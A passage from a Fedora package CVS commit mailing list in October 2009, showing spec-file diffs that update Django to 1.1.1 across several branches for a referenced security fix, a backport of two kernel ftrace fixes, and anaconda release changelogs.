---- Django-1.1.old/django/core/management/base.py	2009-08-01 19:57:57.326706120 -0400
-+++ Django-1.1/django/core/management/base.py	2009-08-01 19:58:19.706707008 -0400
+diff -ur Django-1.1.1.old/django/core/management/base.py Django-1.1.1/django/core/management/base.py
+--- Django-1.1.1.old/django/core/management/base.py	2009-08-01 19:57:57.326706120 -0400
++++ Django-1.1.1/django/core/management/base.py	2009-08-01 19:58:19.706707008 -0400
 @@ -398,7 +398,7 @@
              if subdir.startswith('.'):
                  del subdirs[i]


Index: Django.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django/devel/Django.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- Django.spec	26 Aug 2009 22:17:45 -0000	1.29
+++ Django.spec	10 Oct 2009 00:52:09 -0000	1.30
@@ -2,8 +2,8 @@
 %{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}
 
 Name:           Django
-Version:        1.1
-Release:        4%{?dist}
+Version:        1.1.1
+Release:        1%{?dist}
 Summary:        A high-level Python Web framework
 
 Group:          Development/Languages
@@ -12,7 +12,6 @@ URL:            http://www.djangoproject
 Source0:        http://media.djangoproject.com/releases/%{version}/Django-%{version}.tar.gz
 # stub simplejson module that imports the system version
 Source1:        simplejson-init.py
-Patch0:         Django-ignore-pyo-bz-495046.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -46,7 +45,6 @@ Python Web framework.
 
 %prep
 %setup -q -n %{name}-%{version}
-%patch0 -p1
 # remove bundled simplejson
 cd django/utils/simplejson/
 rm -rf *
@@ -112,7 +110,12 @@ rm -rf $RPM_BUILD_ROOT
 %doc docs/_build/html/*
 %endif
 
+
 %changelog
+* Fri Oct  9 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-1
+- Update to fix http://www.djangoproject.com/weblog/2009/oct/09/security/
+- Django-ignore-pyo-bz-495046.patch no longer needed.
+
 * Wed Aug 26 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1-4
 - EL-4 shouldn't get the sphinx docs.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/Django/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	2 Aug 2009 00:35:26 -0000	1.13
+++ sources	10 Oct 2009 00:52:09 -0000	1.14
@@ -1,3 +1,2 @@
-b2d75b4457a39c405fa2b36bf826bf6b  Django-1.1.tar.gz
-302eb7b98d32ae67ade4ebdaff3bf361  Django-ignore-pyo-bz-495046.patch
 5fe0cb83b3122ec27d1179cb9a39063b  simplejson-init.py
+d7839c192e115f9c4dd8777de24dc21c  Django-1.1.1.tar.gz



From smilner at fedoraproject.org  Sat Oct 10 01:04:24 2009
From: smilner at fedoraproject.org (smilner)
Date: Sat, 10 Oct 2009 01:04:24 +0000 (UTC)
Subject: rpms/Django/F-11 .cvsignore, 1.13, 1.14 Django.spec, 1.23,
	1.24 sources, 1.13, 1.14
Message-ID: <20091010010424.8CDA111C00C1@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/Django/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24425

Modified Files:
	.cvsignore Django.spec sources 
Log Message:
proposed update for fix for http://www.djangoproject.com/weblog/2009/oct/09/security/


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/Django/F-11/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	16 Aug 2009 00:30:06 -0000	1.13
+++ .cvsignore	10 Oct 2009 01:04:24 -0000	1.14
@@ -1,3 +1,2 @@
-Django-1.1.tar.gz
-Django-ignore-pyo-bz-495046.patch
 simplejson-init.py
+Django-1.1.1.tar.gz


Index: Django.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django/F-11/Django.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- Django.spec	26 Aug 2009 22:22:03 -0000	1.23
+++ Django.spec	10 Oct 2009 01:04:24 -0000	1.24
@@ -2,8 +2,8 @@
 %{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}
 
 Name:           Django
-Version:        1.1
-Release:        4%{?dist}
+Version:        1.1.1
+Release:        1%{?dist}
 Summary:        A high-level Python Web framework
 
 Group:          Development/Languages
@@ -12,7 +12,6 @@ URL:            http://www.djangoproject
 Source0:        http://media.djangoproject.com/releases/%{version}/Django-%{version}.tar.gz
 # stub simplejson module that imports the system version
 Source1:        simplejson-init.py
-Patch0:         Django-ignore-pyo-bz-495046.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -46,7 +45,6 @@ Python Web framework.
 
 %prep
 %setup -q -n %{name}-%{version}
-%patch0 -p1
 # remove bundled simplejson
 cd django/utils/simplejson/
 rm -rf *
@@ -112,7 +110,12 @@ rm -rf $RPM_BUILD_ROOT
 %doc docs/_build/html/*
 %endif
 
+
 %changelog
+* Fri Oct  9 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-1
+- Update to fix http://www.djangoproject.com/weblog/2009/oct/09/security/
+- Django-ignore-pyo-bz-495046.patch no longer needed.
+
 * Wed Aug 26 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1-4
 - EL-4 shouldn't get the sphinx docs.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/Django/F-11/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	16 Aug 2009 00:30:06 -0000	1.13
+++ sources	10 Oct 2009 01:04:24 -0000	1.14
@@ -1,3 +1,2 @@
-b2d75b4457a39c405fa2b36bf826bf6b  Django-1.1.tar.gz
-302eb7b98d32ae67ade4ebdaff3bf361  Django-ignore-pyo-bz-495046.patch
 5fe0cb83b3122ec27d1179cb9a39063b  simplejson-init.py
+d7839c192e115f9c4dd8777de24dc21c  Django-1.1.1.tar.gz



From davej at fedoraproject.org  Sat Oct 10 01:11:52 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Sat, 10 Oct 2009 01:11:52 +0000 (UTC)
Subject: rpms/kernel/F-12 linux-2.6-frace-fixes.patch, NONE, 1.1 kernel.spec,
	1.1854, 1.1855
Message-ID: <20091010011152.CE75D11C02A0@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27207

Modified Files:
	kernel.spec 
Added Files:
	linux-2.6-frace-fixes.patch 
Log Message:
Backport two critical ftrace fixes.
  ftrace: check for failure for all conversions
  tracing: correct module boundaries for ftrace_release

linux-2.6-frace-fixes.patch:
 b/include/linux/ftrace.h |    2 +-
 b/kernel/trace/ftrace.c  |   11 +++--------
 kernel/trace/ftrace.c    |   12 ++++--------
 3 files changed, 8 insertions(+), 17 deletions(-)

--- NEW FILE linux-2.6-frace-fixes.patch ---
commit 3279ba37db5d65c4ab0dcdee3b211ccb85bb563f
Author: Steven Rostedt <srostedt at redhat.com>
Date:   Wed Oct 7 16:57:56 2009 -0400

    ftrace: check for failure for all conversions
    
    Due to legacy code from back when the dynamic tracer used a daemon,
    only core kernel code was checking for failures. This is no longer
    the case. We must check for failures any time we perform text modifications.
    
    Cc: stable at kernel.org
    Signed-off-by: Steven Rostedt <rostedt at goodmis.org>

diff --git a/kernel/trace/ftrace.c b/kernel/trace/ftrace.c
index c701476..f136fe5 100644
--- a/kernel/trace/ftrace.c
+++ b/kernel/trace/ftrace.c
@@ -1074,14 +1074,9 @@ static void ftrace_replace_code(int enable)
 		failed = __ftrace_replace_code(rec, enable);
 		if (failed) {
 			rec->flags |= FTRACE_FL_FAILED;
-			if ((system_state == SYSTEM_BOOTING) ||
-			    !core_kernel_text(rec->ip)) {
-				ftrace_free_rec(rec);
-				} else {
-				ftrace_bug(failed, rec->ip);
-					/* Stop processing */
-					return;
-				}
+			ftrace_bug(failed, rec->ip);
+			/* Stop processing */
+			return;
 		}
 	} while_for_each_ftrace_rec();
 }
commit e7247a15ff3bbdab0a8b402dffa1171e5c05a8e0
Author: jolsa at redhat.com <jolsa at redhat.com>
Date:   Wed Oct 7 19:00:35 2009 +0200

    tracing: correct module boundaries for ftrace_release
    
    When the module is about the unload we release its call records.
    The ftrace_release function was given wrong values representing
    the module core boundaries, thus not releasing its call records.
    
    Plus making ftrace_release function module specific.
    
    Signed-off-by: Jiri Olsa <jolsa at redhat.com>
    LKML-Reference: <1254934835-363-3-git-send-email-jolsa at redhat.com>
    Cc: stable at kernel.org
    Signed-off-by: Steven Rostedt <rostedt at goodmis.org>

diff --git a/include/linux/ftrace.h b/include/linux/ftrace.h
index cd3d2ab..0b4f97d 100644
--- a/include/linux/ftrace.h
+++ b/include/linux/ftrace.h
@@ -241,7 +241,7 @@ extern void ftrace_enable_daemon(void);
 # define ftrace_set_filter(buf, len, reset)	do { } while (0)
 # define ftrace_disable_daemon()		do { } while (0)
 # define ftrace_enable_daemon()			do { } while (0)
-static inline void ftrace_release(void *start, unsigned long size) { }
+static inline void ftrace_release_mod(struct module *mod) {}
 static inline int register_ftrace_command(struct ftrace_func_command *cmd)
 {
 	return -EINVAL;
diff --git a/kernel/trace/ftrace.c b/kernel/trace/ftrace.c
index 46592fe..c701476 100644
--- a/kernel/trace/ftrace.c
+++ b/kernel/trace/ftrace.c
@@ -2658,19 +2658,17 @@ static int ftrace_convert_nops(struct module *mod,
 }
 
 #ifdef CONFIG_MODULES
-void ftrace_release(void *start, void *end)
+void ftrace_release_mod(struct module *mod)
 {
 	struct dyn_ftrace *rec;
 	struct ftrace_page *pg;
-	unsigned long s = (unsigned long)start;
-	unsigned long e = (unsigned long)end;
 
-	if (ftrace_disabled || !start || start == end)
+	if (ftrace_disabled)
 		return;
 
 	mutex_lock(&ftrace_lock);
 	do_for_each_ftrace_rec(pg, rec) {
-		if ((rec->ip >= s) && (rec->ip < e)) {
+		if (within_module_core(rec->ip, mod)) {
 			/*
 			 * rec->ip is changed in ftrace_free_rec()
 			 * It should not between s and e if record was freed.
@@ -2702,9 +2700,7 @@ static int ftrace_module_notify(struct notifier_block *self,
 				   mod->num_ftrace_callsites);
 		break;
 	case MODULE_STATE_GOING:
-		ftrace_release(mod->ftrace_callsites,
-			       mod->ftrace_callsites +
-			       mod->num_ftrace_callsites);
+		ftrace_release_mod(mod);
 		break;
 	}
 


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1854
retrieving revision 1.1855
diff -u -p -r1.1854 -r1.1855
--- kernel.spec	9 Oct 2009 20:16:08 -0000	1.1854
+++ kernel.spec	10 Oct 2009 01:11:47 -0000	1.1855
@@ -740,6 +740,7 @@ Patch12013: linux-2.6-rfkill-all.patch
 Patch12014: linux-2.6-selinux-module-load-perms.patch
 
 # patches headed for -stable
+Patch13000: linux-2.6-frace-fixes.patch
 
 # Raid10 lockdep fix
 Patch14002: linux-2.6-raidlockdep.patch
@@ -1386,6 +1387,7 @@ ApplyPatch linux-2.6-rfkill-all.patch
 ApplyPatch linux-2.6-selinux-module-load-perms.patch
 
 # patches headed for -stable
+ApplyPatch linux-2.6-frace-fixes.patch
 
 # Raid10 lockdep fix
 ApplyPatch linux-2.6-raidlockdep.patch
@@ -2046,6 +2048,11 @@ fi
 # and build.
 
 %changelog
+* Fri Oct 09 2009 Dave Jones <davej at redhat.com>
+- Backport two critical ftrace fixes.
+  ftrace: check for failure for all conversions
+  tracing: correct module boundaries for ftrace_release
+
 * Fri Oct 09 2009 Jarod Wilson <jarod at redhat.com>
 - Build docs sub-package again
 



From dcantrel at fedoraproject.org  Sat Oct 10 01:15:01 2009
From: dcantrel at fedoraproject.org (David Cantrell)
Date: Sat, 10 Oct 2009 01:15:01 +0000 (UTC)
Subject: rpms/anaconda/F-12 .cvsignore, 1.677, 1.678 anaconda.spec, 1.827,
	1.828 sources, 1.811, 1.812
Message-ID: <20091010011501.3DFA411C00C1@cvs1.fedora.phx.redhat.com>

Author: dcantrel

Update of /cvs/pkgs/rpms/anaconda/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29434

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
* Fri Oct 09 2009 David Cantrell <dcantrell at redhat.com> - 12.36-1
- Reset PartitionDevice attributes after failed edit. (#498026) (dlehman)
- Fix cut/paste error in commit 299519d4a0693330ff6a50f3111d61feefabb0da.
  (dlehman)
- Consider encryption when checking for duplicate mountpoint. (#526697)
  (dlehman)
- Fix filtering out of 'Sending translation for' log messages in bumpver.
  (rvykydal)
- Use addUdevPartitionDevice() for adding dmraid / multipath partitions
  (#527785) (hdegoede)
- Set partedPartition system to the correct FS when creating an FS (hdegoede)
- Reset parted flags in createFormat not destroyFormat (hdegoede)
- Default to mbr bootloader target for mdraid 1 boot device too (#526822).
  (rvykydal)
- Clear out state before calling XkbGetState. (clumens)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/.cvsignore,v
retrieving revision 1.677
retrieving revision 1.678
diff -u -p -r1.677 -r1.678
--- .cvsignore	8 Oct 2009 14:10:53 -0000	1.677
+++ .cvsignore	10 Oct 2009 01:15:00 -0000	1.678
@@ -1 +1 @@
-anaconda-12.35.tar.bz2
+anaconda-12.36.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/anaconda.spec,v
retrieving revision 1.827
retrieving revision 1.828
diff -u -p -r1.827 -r1.828
--- anaconda.spec	8 Oct 2009 14:10:54 -0000	1.827
+++ anaconda.spec	10 Oct 2009 01:15:00 -0000	1.828
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 12.35
+Version: 12.36
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -215,6 +215,22 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Fri Oct 09 2009 David Cantrell <dcantrell at redhat.com> - 12.36-1
+- Reset PartitionDevice attributes after failed edit. (#498026) (dlehman)
+- Fix cut/paste error in commit 299519d4a0693330ff6a50f3111d61feefabb0da.
+  (dlehman)
+- Consider encryption when checking for duplicate mountpoint. (#526697)
+  (dlehman)
+- Fix filtering out of 'Sending translation for' log messages in bumpver.
+  (rvykydal)
+- Use addUdevPartitionDevice() for adding dmraid / multipath partitions
+  (#527785) (hdegoede)
+- Set partedPartition system to the correct FS when creating an FS (hdegoede)
+- Reset parted flags in createFormat not destroyFormat (hdegoede)
+- Default to mbr bootloader target for mdraid 1 boot device too (#526822).
+  (rvykydal)
+- Clear out state before calling XkbGetState. (clumens)
+
 * Thu Oct 08 2009 Radek Vykydal <rvykydal at redhat.com> - 12.35-1
 - Override fstabSpec in PartitionDevice for by-path DASD (#526364). (dcantrell)
 - Create DASDDevice objects for DASD devices when building devicetree. 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/F-12/sources,v
retrieving revision 1.811
retrieving revision 1.812
diff -u -p -r1.811 -r1.812
--- sources	8 Oct 2009 14:10:54 -0000	1.811
+++ sources	10 Oct 2009 01:15:00 -0000	1.812
@@ -1 +1 @@
-6c6be178c7b351116bc790ffd17e5df7  anaconda-12.35.tar.bz2
+407b562878106292e89f5a9a65a3d36c  anaconda-12.36.tar.bz2



From smilner at fedoraproject.org  Sat Oct 10 01:14:59 2009
From: smilner at fedoraproject.org (smilner)
Date: Sat, 10 Oct 2009 01:14:59 +0000 (UTC)
Subject: rpms/Django/F-10 .cvsignore, 1.13, 1.14 Django.spec, 1.25,
	1.26 sources, 1.13, 1.14
Message-ID: <20091010011459.33B8411C00C1@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/Django/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29423

Modified Files:
	.cvsignore Django.spec sources 
Log Message:
proposed update for fix for http://www.djangoproject.com/weblog/2009/oct/09/security/


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/Django/F-10/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	26 Aug 2009 14:52:27 -0000	1.13
+++ .cvsignore	10 Oct 2009 01:14:58 -0000	1.14
@@ -1,3 +1,2 @@
-Django-1.1.tar.gz
+Django-1.1.1.tar.gz
 simplejson-init.py
-Django-ignore-pyo-bz-495046.patch


Index: Django.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django/F-10/Django.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- Django.spec	26 Aug 2009 22:36:50 -0000	1.25
+++ Django.spec	10 Oct 2009 01:14:58 -0000	1.26
@@ -2,8 +2,8 @@
 %{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}
 
 Name:           Django
-Version:        1.1
-Release:        4%{?dist}
+Version:        1.1.1
+Release:        1%{?dist}
 Summary:        A high-level Python Web framework
 
 Group:          Development/Languages
@@ -12,7 +12,6 @@ URL:            http://www.djangoproject
 Source0:        http://media.djangoproject.com/releases/%{version}/Django-%{version}.tar.gz
 # stub simplejson module that imports the system version
 Source1:        simplejson-init.py
-Patch0:         Django-ignore-pyo-bz-495046.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -46,7 +45,6 @@ Python Web framework.
 
 %prep
 %setup -q -n %{name}-%{version}
-%patch0 -p1
 # remove bundled simplejson
 cd django/utils/simplejson/
 rm -rf *
@@ -112,7 +110,12 @@ rm -rf $RPM_BUILD_ROOT
 %doc docs/_build/html/*
 %endif
 
+
 %changelog
+* Fri Oct  9 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-1
+- Update to fix http://www.djangoproject.com/weblog/2009/oct/09/security/
+- Django-ignore-pyo-bz-495046.patch no longer needed.
+
 * Wed Aug 26 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1-4
 - EL-4 shouldn't get the sphinx docs.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/Django/F-10/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	26 Aug 2009 14:52:27 -0000	1.13
+++ sources	10 Oct 2009 01:14:58 -0000	1.14
@@ -1,3 +1,2 @@
-b2d75b4457a39c405fa2b36bf826bf6b  Django-1.1.tar.gz
+d7839c192e115f9c4dd8777de24dc21c  Django-1.1.1.tar.gz
 5fe0cb83b3122ec27d1179cb9a39063b  simplejson-init.py
-302eb7b98d32ae67ade4ebdaff3bf361  Django-ignore-pyo-bz-495046.patch



From smilner at fedoraproject.org  Sat Oct 10 01:15:15 2009
From: smilner at fedoraproject.org (smilner)
Date: Sat, 10 Oct 2009 01:15:15 +0000 (UTC)
Subject: rpms/Django/EL-5 .cvsignore, 1.11, 1.12 Django.spec, 1.15,
	1.16 sources, 1.11, 1.12
Message-ID: <20091010011515.6AF9C11C00C1@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/Django/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29571

Modified Files:
	.cvsignore Django.spec sources 
Log Message:
proposed update for fix for http://www.djangoproject.com/weblog/2009/oct/09/security/


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/Django/EL-5/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	16 Aug 2009 01:54:40 -0000	1.11
+++ .cvsignore	10 Oct 2009 01:15:15 -0000	1.12
@@ -1,3 +1,2 @@
-Django-1.1.tar.gz
-Django-ignore-pyo-bz-495046.patch
+Django-1.1.1.tar.gz
 simplejson-init.py


Index: Django.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django/EL-5/Django.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- Django.spec	26 Aug 2009 22:36:26 -0000	1.15
+++ Django.spec	10 Oct 2009 01:15:15 -0000	1.16
@@ -2,8 +2,8 @@
 %{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}
 
 Name:           Django
-Version:        1.1
-Release:        4%{?dist}
+Version:        1.1.1
+Release:        1%{?dist}
 Summary:        A high-level Python Web framework
 
 Group:          Development/Languages
@@ -12,7 +12,6 @@ URL:            http://www.djangoproject
 Source0:        http://media.djangoproject.com/releases/%{version}/Django-%{version}.tar.gz
 # stub simplejson module that imports the system version
 Source1:        simplejson-init.py
-Patch0:         Django-ignore-pyo-bz-495046.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -46,7 +45,6 @@ Python Web framework.
 
 %prep
 %setup -q -n %{name}-%{version}
-%patch0 -p1
 # remove bundled simplejson
 cd django/utils/simplejson/
 rm -rf *
@@ -112,7 +110,12 @@ rm -rf $RPM_BUILD_ROOT
 %doc docs/_build/html/*
 %endif
 
+
 %changelog
+* Fri Oct  9 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-1
+- Update to fix http://www.djangoproject.com/weblog/2009/oct/09/security/
+- Django-ignore-pyo-bz-495046.patch no longer needed.
+
 * Wed Aug 26 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1-4
 - EL-4 shouldn't get the sphinx docs.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/Django/EL-5/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	16 Aug 2009 01:54:40 -0000	1.11
+++ sources	10 Oct 2009 01:15:15 -0000	1.12
@@ -1,3 +1,2 @@
-b2d75b4457a39c405fa2b36bf826bf6b  Django-1.1.tar.gz
-302eb7b98d32ae67ade4ebdaff3bf361  Django-ignore-pyo-bz-495046.patch
+d7839c192e115f9c4dd8777de24dc21c  Django-1.1.1.tar.gz
 5fe0cb83b3122ec27d1179cb9a39063b  simplejson-init.py



From smilner at fedoraproject.org  Sat Oct 10 01:16:01 2009
From: smilner at fedoraproject.org (smilner)
Date: Sat, 10 Oct 2009 01:16:01 +0000 (UTC)
Subject: rpms/Django/EL-4 .cvsignore, 1.10, 1.11 Django.spec, 1.18,
	1.19 sources, 1.10, 1.11
Message-ID: <20091010011601.9D01211C00C1@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/Django/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29877

Modified Files:
	.cvsignore Django.spec sources 
Log Message:
proposed update for fix for http://www.djangoproject.com/weblog/2009/oct/09/security/


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/Django/EL-4/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	26 Aug 2009 20:46:28 -0000	1.10
+++ .cvsignore	10 Oct 2009 01:16:01 -0000	1.11
@@ -1,3 +1,2 @@
-Django-1.1.tar.gz
+Django-1.1.1.tar.gz
 simplejson-init.py
-Django-ignore-pyo-bz-495046.patch


Index: Django.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django/EL-4/Django.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- Django.spec	26 Aug 2009 22:21:07 -0000	1.18
+++ Django.spec	10 Oct 2009 01:16:01 -0000	1.19
@@ -2,8 +2,8 @@
 %{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}
 
 Name:           Django
-Version:        1.1
-Release:        4%{?dist}
+Version:        1.1.1
+Release:        1%{?dist}
 Summary:        A high-level Python Web framework
 
 Group:          Development/Languages
@@ -12,7 +12,6 @@ URL:            http://www.djangoproject
 Source0:        http://media.djangoproject.com/releases/%{version}/Django-%{version}.tar.gz
 # stub simplejson module that imports the system version
 Source1:        simplejson-init.py
-Patch0:         Django-ignore-pyo-bz-495046.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -46,7 +45,6 @@ Python Web framework.
 
 %prep
 %setup -q -n %{name}-%{version}
-%patch0 -p1
 # remove bundled simplejson
 cd django/utils/simplejson/
 rm -rf *
@@ -112,7 +110,12 @@ rm -rf $RPM_BUILD_ROOT
 %doc docs/_build/html/*
 %endif
 
+
 %changelog
+* Fri Oct  9 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-1
+- Update to fix http://www.djangoproject.com/weblog/2009/oct/09/security/
+- Django-ignore-pyo-bz-495046.patch no longer needed.
+
 * Wed Aug 26 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1-4
 - EL-4 shouldn't get the sphinx docs.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/Django/EL-4/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	26 Aug 2009 20:46:28 -0000	1.10
+++ sources	10 Oct 2009 01:16:01 -0000	1.11
@@ -1,3 +1,2 @@
-b2d75b4457a39c405fa2b36bf826bf6b  Django-1.1.tar.gz
+d7839c192e115f9c4dd8777de24dc21c  Django-1.1.1.tar.gz
 5fe0cb83b3122ec27d1179cb9a39063b  simplejson-init.py
-302eb7b98d32ae67ade4ebdaff3bf361  Django-ignore-pyo-bz-495046.patch



From smilner at fedoraproject.org  Sat Oct 10 01:28:44 2009
From: smilner at fedoraproject.org (smilner)
Date: Sat, 10 Oct 2009 01:28:44 +0000 (UTC)
Subject: rpms/Django/F-12 .cvsignore, 1.13, 1.14 Django.spec, 1.29,
	1.30 sources, 1.13, 1.14
Message-ID: <20091010012844.9B78D11C00C1@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/Django/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3547

Modified Files:
	.cvsignore Django.spec sources 
Log Message:
proposed update for fix for http://www.djangoproject.com/weblog/2009/oct/09/security/


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/Django/F-12/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	2 Aug 2009 00:35:26 -0000	1.13
+++ .cvsignore	10 Oct 2009 01:28:43 -0000	1.14
@@ -1,3 +1,2 @@
-Django-1.1.tar.gz
-Django-ignore-pyo-bz-495046.patch
 simplejson-init.py
+Django-1.1.1.tar.gz


Index: Django.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django/F-12/Django.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- Django.spec	26 Aug 2009 22:17:45 -0000	1.29
+++ Django.spec	10 Oct 2009 01:28:43 -0000	1.30
@@ -2,8 +2,8 @@
 %{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}
 
 Name:           Django
-Version:        1.1
-Release:        4%{?dist}
+Version:        1.1.1
+Release:        1%{?dist}
 Summary:        A high-level Python Web framework
 
 Group:          Development/Languages
@@ -12,7 +12,6 @@ URL:            http://www.djangoproject
 Source0:        http://media.djangoproject.com/releases/%{version}/Django-%{version}.tar.gz
 # stub simplejson module that imports the system version
 Source1:        simplejson-init.py
-Patch0:         Django-ignore-pyo-bz-495046.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -46,7 +45,6 @@ Python Web framework.
 
 %prep
 %setup -q -n %{name}-%{version}
-%patch0 -p1
 # remove bundled simplejson
 cd django/utils/simplejson/
 rm -rf *
@@ -112,7 +110,12 @@ rm -rf $RPM_BUILD_ROOT
 %doc docs/_build/html/*
 %endif
 
+
 %changelog
+* Fri Oct  9 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-1
+- Update to fix http://www.djangoproject.com/weblog/2009/oct/09/security/
+- Django-ignore-pyo-bz-495046.patch no longer needed.
+
 * Wed Aug 26 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1-4
 - EL-4 shouldn't get the sphinx docs.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/Django/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	2 Aug 2009 00:35:26 -0000	1.13
+++ sources	10 Oct 2009 01:28:43 -0000	1.14
@@ -1,3 +1,2 @@
-b2d75b4457a39c405fa2b36bf826bf6b  Django-1.1.tar.gz
-302eb7b98d32ae67ade4ebdaff3bf361  Django-ignore-pyo-bz-495046.patch
 5fe0cb83b3122ec27d1179cb9a39063b  simplejson-init.py
+d7839c192e115f9c4dd8777de24dc21c  Django-1.1.1.tar.gz



From dcantrel at fedoraproject.org  Sat Oct 10 01:35:12 2009
From: dcantrel at fedoraproject.org (David Cantrell)
Date: Sat, 10 Oct 2009 01:35:12 +0000 (UTC)
Subject: rpms/anaconda/devel .cvsignore, 1.677, 1.678 anaconda.spec, 1.827, 
	1.828 sources, 1.811, 1.812
Message-ID: <20091010013513.0A7A211C00C1@cvs1.fedora.phx.redhat.com>

Author: dcantrel

Update of /cvs/pkgs/rpms/anaconda/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6431

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
* Fri Oct 09 2009 David Cantrell <dcantrell at redhat.com> - 13.3-1
